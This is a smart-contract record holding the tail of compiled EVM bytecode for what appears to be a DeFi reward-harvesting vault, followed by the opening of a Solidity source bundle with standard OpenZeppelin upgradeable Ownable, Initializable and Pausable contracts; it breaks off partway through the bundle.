dab90614ec0565b6000805460ff191660011790558015612818576000805461ff0019166101001790555b612826878787878787610d55565b6303b53800610110558015610e98576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb384740249890602001610e8f565b612879612b55565b6001600160a01b0381166128de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dab565b6128e781613ab7565b50565b6128f2612b55565b612710811115612915576040516358d620b360e01b815260040160405180910390fd5b60d955565b306001600160a01b031663635202746040518163ffffffff1660e01b8152600401602060405180830381865afa158015612958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061297c9190614e2b565b60000361299c57604051630da1ec0160e31b815260040160405180910390fd5b60db54158015906129b6575060dc546001600160a01b0316155b806129ca575060dd546001600160a01b0316155b156129e857604051630ad13b3360e21b815260040160405180910390fd5b60d254604051600162525fcd60e11b0319815260009182916001600160a01b039091169063ff5b406690612a249030908890889060040161520b565b6000604051808303816000875af1158015612a43573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612a6b919081019061529f565b91509150600061271060db5484612a8291906152e5565b612a8c9190615312565b60dc5460ca54919250612aac916001600160a01b039081169116836132ff565b600061271060da5485612abf91906152e5565b612ac99190615312565b60ca54909150612ae3906001600160a01b031633836132ff565b600081612af0848761513b565b612afa919061513b565b60dd5460ca54919250612b1a916001600160a01b039081169116836132ff565b7f3dceb43957dc72b04d40eaf449ac8b867ea8d60ed7d860e9ba977921ab89b46685888887878787604051610e8f9796959493929190615326565b6033546001600160a01b03163314611af75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dab565b801580612c285750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90612be59030908690600401614fb9565b602060405180830381865afa158015612c02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c269190614e2b565b155b612c935760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b6064820152608401610dab565b6120aa8363095ea7b360e01b8484604051602401612cb292919061502e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152614204565b6000611a2461011054426120269190615073565b600054610100900460ff16612d245760405162461bcd60e51b8152600401610dab90615397565b611af76142d6565b600054610100900460ff16612d535760405162461bcd60e51b8152600401610dab90615397565b611af7614306565b600054610100900460ff16612d825760405162461bcd60e51b8152600401610dab90615397565b611af761432d565b60975460ff1615611af75760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610dab565b6001600160a01b038216600090815260d56020526040902081158015612e05575060d0546004820154612e03904261513b565b105b15612e0f57505050565b60c9546040516370a0823160e01b81526000916001600160a01b0316906370a0823190612e4090309060040161487d565b602060405180830381865afa158015612e5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e819190614e2b565b90504282600401819055506000846001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa158015612ecc573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052612ef4919081019061517d565b9050600081516001600160401b03811115612f1157612f11614928565b604051908082528060200260200182016040528015612f3a578160200160208202803683370190505b50905060005b82518110156130755760006001600160a01b0316838281518110612f6657612f66615047565b60200260200101516001600160a01b031603612fc05760ca5483516001600160a01b0390911690849083908110612f9f57612f9f615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b828181518110612fd257612fd2615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613005919061487d565b602060405180830381865afa158015613022573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130469190614e2b565b82828151811061305857613058615047565b60209081029190910101528061306d8161514e565b915050612f40565b50604051639262187b60e01b81526001600160a01b03871690639262187b906130a290309060040161487d565b6000604051808303816000875af11580156130c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526130e991908101906153e2565b5060005b82518110156132735760006001600160a01b031683828151811061311357613113615047565b60200260200101516001600160a01b03160361316d5760ca5483516001600160a01b039091169084908390811061314c5761314c615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b600083828151811061318157613181615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b81526004016131b4919061487d565b602060405180830381865afa1580156131d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131f59190614e2b565b9050600083838151811061320b5761320b615047565b60200260200101518261321e919061513b565b905080801561325d5761325d8a87868151811061323d5761323d615047565b602090810291909101015160018b01546001600160a01b03168585613b09565b505050808061326b9061514e565b9150506130ed565b5060c9546040516370a0823160e01b815260009185916001600160a01b03909116906370a08231906132a990309060040161487d565b602060405180830381865afa1580156132c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132ea9190614e2b565b6132f4919061513b565b9050610e9881613f90565b6120aa8363a9059cbb60e01b8484604051602401612cb292919061502e565b6040516001600160a01b03808516602483015283166044820152606481018290526133569085906323b872dd60e01b90608401612cb2565b50505050565b60c9546040516370a0823160e01b815260009182916001600160a01b03909116906370a082319061339190309060040161487d565b602060405180830381865afa1580156133ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133d29190614e2b565b905060005b85518110156138d65760d560008783815181106133f6576133f6615047565b6020908102919091018101516001600160a01b031682528101919091526040016000206005015460ff1661343d57604051636a325bd960e11b815260040160405180910390fd5b600060d5600088848151811061345557613455615047565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000209050428160040181905550600087838151811061349c5761349c615047565b60200260200101516001600160a01b031663c4f59f9b6040518163ffffffff1660e01b8152600401600060405180830381865afa1580156134e1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052613509919081019061517d565b9050600081516001600160401b0381111561352657613526614928565b60405190808252806020026020018201604052801561354f578160200160208202803683370190505b50905060005b825181101561368a5760006001600160a01b031683828151811061357b5761357b615047565b60200260200101516001600160a01b0316036135d55760ca5483516001600160a01b03909116908490839081106135b4576135b4615047565b60200260200101906001600160a01b031690816001600160a01b0316815250505b8281815181106135e7576135e7615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161361a919061487d565b602060405180830381865afa158015613637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365b9190614e2b565b82828151811061366d5761366d615047565b6020908102919091010152806136828161514e565b915050613555565b5088848151811061369d5761369d615047565b60200260200101516001600160a01b0316639262187b306040518263ffffffff1660e01b81526004016136d0919061487d565b6000604051808303816000875af11580156136ef573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261371791908101906153e2565b5060005b82518110156138bf57600083828151811061373857613738615047565b60200260200101516001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161376b919061487d565b602060405180830381865afa158015613788573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137ac9190614e2b565b905060008383815181106137c2576137c2615047565b6020026020010151826137d5919061513b565b90508060008181036137ea57505050506138ad565b60c95487516001600160a01b039091169088908790811061380d5761380d615047565b60200260200101516001600160a01b03160361384d5761271060e1548461383491906152e5565b61383e9190615312565b905061384a818461513b565b91505b613857818c615073565b9a506138a88e8a8151811061386e5761386e615047565b602002602001015188878151811061388857613888615047565b602090810291909101015160018b01546001600160a01b03168686613b09565b505050505b806138b78161514e565b91505061371b565b5050505080806138ce9061514e565b9150506133d7565b5060c9546040516370a0823160e01b8152600091849184916001600160a01b0316906370a082319061390c90309060040161487d565b602060405180830381865afa158015613929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061394d9190614e2b565b613957919061513b565b613961919061513b565b905061396c81613f90565b82156117f75760c95460e05460405163095ea7b360e01b81526001600160a01b039283169263095ea7b3926139a892911690879060040161502e565b6020604051808303816000875af11580156139c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139eb9190615416565b5060e05460c95460405163187179c960e11b81526001600160a01b039182166004820152602481018690526044810187905287821660648201529116906330e2f39290608401600060405180830381600087803b158015613a4b57600080fd5b505af1158015613a5f573d6000803e3d6000fd5b50505050505050505050565b613a73614360565b6097805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b604051613aad919061487d565b60405180910390a1565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b8015613f895760c9546001600160a01b0390811690851603613ccc5760005b60d854811015613cc657600060d88281548110613b4757613b47615047565b906000526020600020906002020190508060010160169054906101000a900460ff1615613cb357805460009061271090613b8190876152e5565b613b8b9190615312565b9050613b97818561513b565b60018301549094508190600160a01b900460ff16613c77576001830154600160a81b900460ff16613c5b576001830154613bde906001600160a01b038a8116911683612baf565b60018301546040516347e7a41160e11b81526001600160a01b0390911690638fcf482290613c129084908c90600401615433565b6020604051808303816000875af1158015613c31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c559190615416565b50613c77565b6001830154613c77906001600160a01b038a81169116836132ff565b600183015460405160008051602061555f83398151915291613ca8918c916001600160a01b0316908c90869061544a565b60405180910390a150505b5080613cbe8161514e565b915050613b28565b50613ecb565b600060d954118015613ce8575060de546001600160a01b031615155b15613ecb5760de5460405163d42ac64360e01b81526000916001600160a01b03169063d42ac64390613d1e90899060040161487d565b602060405180830381865afa158015613d3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d5f9190614e2b565b60de546040516315895f4760e31b8152600481018390529192506001600160a01b03169063ac4afa3890602401606060405180830381865afa158015613da9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613dcd9190615474565b6020015115613ec957600061271060d95485613de991906152e5565b613df39190615312565b9050613dff818461513b565b60de54909350613e1c906001600160a01b03888116911683612baf565b60de546040516317be9a5d60e31b815260016004820152602481018490526001600160a01b038881166044830152606482018490529091169063bdf4d2e890608401600060405180830381600087803b158015613e7857600080fd5b505af1158015613e8c573d6000803e3d6000fd5b505060de5460405160008051602061555f8339815191529350613ebf92508a916001600160a01b0316908a90869061544a565b60405180910390a1505b505b613ee06001600160a01b038516846000612baf565b613ef46001600160a01b0385168483612baf565b6040516347e7a41160e11b81526001600160a01b03841690638fcf482290613f229084908890600401615433565b6020604051808303816000875af1158015613f41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f659190615416565b5060008051602061555f833981519152858486846040516116bf949392919061544a565b5050505050565b60008082156120aa57613fa2836143a9565b905060005b60d85481101561402657600060d88281548110613fc657613fc6615047565b906000526020600020906002020190508060010160169054906101000a900460ff168015613fff57506001810154600160a01b900460ff165b156140135780546140109085615073565b93505b508061401e8161514e565b915050613fa7565b5060005b60d85481101561335657600060d8828154811061404957614049615047565b906000526020600020906002020190508060010160169054906101000a900460ff16801561408257506001810154600160a01b900460ff165b1561419a57600061271085612710846000015461409f91906152e5565b6140a99190615312565b6140b390866152e5565b6140bd9190615312565b90508015614198576001820154600160a81b900460ff1661417957600182015460cc546140f7916001600160a01b03918216911683612baf565b600182015460cc546040516347e7a41160e11b81526001600160a01b0392831692638fcf48229261413092869290911690600401615433565b6020604051808303816000875af115801561414f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141739190615416565b50614198565b600182015460cc54614198916001600160a01b039182169116836132ff565b505b50806141a58161514e565b91505061402a565b600062093a806141bd81846154de565b610d259190615504565b6141cf612d8a565b6097805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613aa03390565b6000614259826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166146579092919063ffffffff16565b8051909150156120aa57808060200190518101906142779190615416565b6120aa5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610dab565b600054610100900460ff166142fd5760405162461bcd60e51b8152600401610dab90615397565b611af733613ab7565b600054610100900460ff166118365760405162461bcd60e51b8152600401610dab90615397565b600054610100900460ff166143545760405162461bcd60e51b8152600401610dab90615397565b6097805460ff19169055565b60975460ff16611af75760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610dab565b60cc546040516370a0823160e01b815260009182916001600160a01b03909116906370a08231906143de90309060040161487d565b602060405180830381865afa1580156143fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061441f9190614e2b565b60df549091506001600160a01b0316156145495760df5460c954614450916001600160a01b03918216911685612baf565b60df54604051634e3c485160e11b815260048101859052600060248201526001600160a01b0390911690639c7890a2906044016020604051808303816000875af11580156144a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144c69190614e2b565b5060cc546040516370a0823160e01b815282916001600160a01b0316906370a08231906144f790309060040161487d565b602060405180830381865afa158015614514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906145389190614e2b565b614542919061513b565b9150614651565b60cb5460c954614566916001600160a01b03918216911685612baf565b60cb54604051633188639160e11b815230600482015260248101859052600060448201526001600160a01b0390911690636310c72290606401600060405180830381600087803b1580156145b957600080fd5b505af11580156145cd573d6000803e3d6000fd5b505060cc546040516370a0823160e01b81528493506001600160a01b0390911691506370a082319061460390309060040161487d565b602060405180830381865afa158015614620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146449190614e2b565b61464e919061513b565b91505b50919050565b6060614666848460008561466e565b949350505050565b6060824710156146cf5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610dab565b6001600160a01b0385163b6147265760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610dab565b600080866001600160a01b03168587604051614742919061552f565b60006040518083038185875af1925050503d806000811461477f576040519150601f19603f3d011682016040523d82523d6000602084013e614784565b606091505b509150915061479482828661479f565b979650505050505050565b606083156147ae575081612441565b8251156147be5782518084602001fd5b8160405162461bcd60e51b8152600401610dab919061554b565b60008083601f8401126147ea57600080fd5b5081356001600160401b0381111561480157600080fd5b6020830191508360208260051b850101111561481c57600080fd5b9250929050565b6000806020838503121561483657600080fd5b82356001600160401b0381111561484c57600080fd5b614858858286016147d8565b90969095509350505050565b60006020828403121561487657600080fd5b5035919050565b6001600160a01b0391909116815260200190565b6001600160a01b03811681146128e757600080fd5b60008060008060008060c087890312156148bf57600080fd5b86356148ca81614891565b955060208701356148da81614891565b945060408701356148ea81614891565b935060608701356148fa81614891565b9250608087013561490a81614891565b915060a087013561491a81614891565b809150509295509295509295565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561496657614966614928565b604052919050565b600082601f83011261497f57600080fd5b81356001600160401b0381111561499857614998614928565b6149ab601f8201601f191660200161493e565b8181528460208386010111156149c057600080fd5b816020850160208301376000918101602001919091529392505050565b600080600080608085870312156149f357600080fd5b84356149fe81614891565b93506020850135925060408501356001600160401b0380821115614a2157600080fd5b614a2d8883890161496e565b93506060870135915080821115614a4357600080fd5b50614a508782880161496e565b91505092959194509250565b600060208284031215614a6e57600080fd5b813561244181614891565b600080600060608486031215614a8e57600080fd5b8335614a9981614891565b92506020840135614aa981614891565b929592945050506040919091013590565b60008060008060808587031215614ad057600080fd5b8435614adb81614891565b93506020850135614aeb81614891565b92506040850135614afb81614891565b9396929550929360600135925050565b60008060408385031215614b1e57600080fd5b8235614b2981614891565b91506020830135614b3981614891565b809150509250929050565b600080600080600060a08688031215614b5c57600080fd5b8535614b6781614891565b94506020860135935060408601359250606086013591506080860135614b8c81614891565b809150509295509295909350565b60008060008060408587031215614bb057600080fd5b84356001600160401b0380821115614bc757600080fd5b614bd3888389016147d8565b90965094506020870135915080821115614bec57600080fd5b50614bf9878288016147d8565b95989497509550505050565b60006001600160401b03821115614c1e57614c1e614928565b5060051b60200190565b60008060408385031215614c3b57600080fd5b8235614c4681614891565b91506020838101356001600160401b03811115614c6257600080fd5b8401601f81018613614c7357600080fd5b8035614c86614c8182614c05565b61493e565b81815260059190911b82018301908381019088831115614ca557600080fd5b928401925b82841015614cc357833582529284019290840190614caa565b80955050505050509250929050565b80151581146128e757600080fd5b60008060008060008060c08789031215614cf957600080fd5b86359550602087013594506040870135614d1281614891565b93506060870135614d2281614cd2565b92506080870135614d3281614cd2565b915060a087013561491a81614cd2565b600080600060408486031215614d5757600080fd5b8335925060208401356001600160401b03811115614d7457600080fd5b614d80868287016147d8565b9497909650939450505050565b60008060008060808587031215614da357600080fd5b843593506020850135614db581614891565b92506040850135614dc581614cd2565b91506060850135614dd581614cd2565b939692955090935050565b600080600060408486031215614df557600080fd5b83356001600160401b03811115614e0b57600080fd5b614e17868287016147d8565b909790965060209590950135949350505050565b600060208284031215614e3d57600080fd5b5051919050565b6001600160801b03858116825284166020820152606060408201819052810182905260006001600160fb1b03831115614e7c57600080fd5b8260051b808560808501379190910160800195945050505050565b600060208284031215614ea957600080fd5b81516001600160801b038116811461244157600080fd5b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b60005b83811015614f29578181015183820152602001614f11565b50506000910152565b60008151808452614f4a816020860160208601614f0e565b601f01601f19169290920160200192915050565b6001600160a01b03858116825284166020820152608060408201819052600090614f8a90830185614f32565b82810360608401526147948185614f32565b600060208284031215614fae57600080fd5b815161244181614891565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152901515604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6001600160a01b03929092168252602082015260400190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b80820180821115610d2557610d2561505d565b8183526000602080850194508260005b858110156150c45781356150a981614891565b6001600160a01b031687529582019590820190600101615096565b509495945050505050565b6040815260006150e3604083018688615086565b828103602084810191909152848252859181016000805b8781101561512c5784356001600160401b038116808214615119578384fd5b84525093830193918301916001016150fa565b50909998505050505050505050565b81810381811115610d2557610d2561505d565b6000600182016151605761516061505d565b5060010190565b634e487b7160e01b600052603160045260246000fd5b6000602080838503121561519057600080fd5b82516001600160401b038111156151a657600080fd5b8301601f810185136151b757600080fd5b80516151c5614c8182614c05565b81815260059190911b820183019083810190878311156151e457600080fd5b928401925b828410156147945783516151fc81614891565b825292840192908401906151e9565b6001600160a01b03841681526040602082018190526000906152309083018486615086565b95945050505050565b600082601f83011261524a57600080fd5b8151602061525a614c8183614c05565b82815260059290921b8401810191818101908684111561527957600080fd5b8286015b84811015615294578051835291830191830161527d565b509695505050505050565b600080604083850312156152b257600080fd5b8251915060208301516001600160401b038111156152cf57600080fd5b6152db85828601615239565b9150509250929050565b8082028115828204841417610d2557610d2561505d565b634e487b7160e01b600052601260045260246000fd5b600082615321576153216152fc565b500490565b8781526000602060c08184015261534160c08401898b615086565b838103604085015287518082528289019183019060005b8181101561537457835183529284019291840191600101615358565b50506060850197909752505050608081019290925260a090910152949350505050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b6000602082840312156153f457600080fd5b81516001600160401b0381111561540a57600080fd5b61466684828501615239565b60006020828403121561542857600080fd5b815161244181614cd2565b9182526001600160a01b0316602082015260400190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b60006060828403121561548657600080fd5b604051606081018181106001600160401b03821117156154a8576154a8614928565b60405282516154b681614891565b815260208301516154c681614cd2565b60208201526040928301519281019290925250919050565b60006001600160801b03838116806154f8576154f86152fc565b92169190910492915050565b6001600160801b038181168382160280821691908281146155275761552761505d565b505092915050565b60008251615541818460208701614f0e565b9190910192915050565b6020815260006124416020830184614f3256fe1d323f65a8226244cebc68e250fb7eef6eb01d6adf48b72e75a032af0716eb00a26469706673582212208f39581346ffa96f4ea781b758c2158add351ceebcd1c6915bf65a395debff2f64736f6c63430008130033 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts. Equivalent to `reinitializer(1)`.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * `initializer` is equivalent to `reinitializer(1)`, so a reinitializer may be used after the original\n * initialization step. This is essential to configure modules that are added through upgrades and that require\n * initialization.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized < type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which allows children to implement an emergency stop\n * mechanism that can be triggered by an authorized account.\n *\n * This module is used through inheritance. It will make available the\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\n * the functions of your contract. Note that they will not be pausable by\n * simply including this module, only once the modifiers are put in place.\n */\nabstract contract PausableUpgradeable is Initializable, ContextUpgradeable {\n /**\n * @dev Emitted when the pause is triggered by `account`.\n */\n event Paused(address account);\n\n /**\n * @dev Emitted when the pause is lifted by `account`.\n */\n event Unpaused(address account);\n\n bool private _paused;\n\n /**\n * @dev Initializes the contract in unpaused state.\n */\n function __Pausable_init() internal onlyInitializing {\n __Pausable_init_unchained();\n }\n\n function __Pausable_init_unchained() internal onlyInitializing {\n _paused = false;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is not paused.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n modifier whenNotPaused() {\n _requireNotPaused();\n _;\n }\n\n /**\n * @dev Modifier to make a function callable only when the contract is paused.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n modifier whenPaused() {\n _requirePaused();\n _;\n }\n\n /**\n * @dev Returns true if the contract is paused, and false otherwise.\n */\n function paused() public view virtual returns (bool) {\n return _paused;\n }\n\n /**\n * @dev Throws if the contract is paused.\n */\n function _requireNotPaused() internal view virtual {\n require(!paused(), \"Pausable: paused\");\n }\n\n /**\n * @dev Throws if the contract is not paused.\n */\n function _requirePaused() internal view virtual {\n require(paused(), \"Pausable: not paused\");\n }\n\n /**\n * @dev Triggers stopped state.\n *\n * Requirements:\n *\n * - The contract must not be paused.\n */\n function _pause() internal virtual whenNotPaused {\n _paused = true;\n emit Paused(_msgSender());\n }\n\n /**\n * @dev Returns to normal state.\n *\n * Requirements:\n *\n * - The contract must be paused.\n */\n function _unpause() internal virtual whenPaused {\n _paused = false;\n emit Unpaused(_msgSender());\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol": {
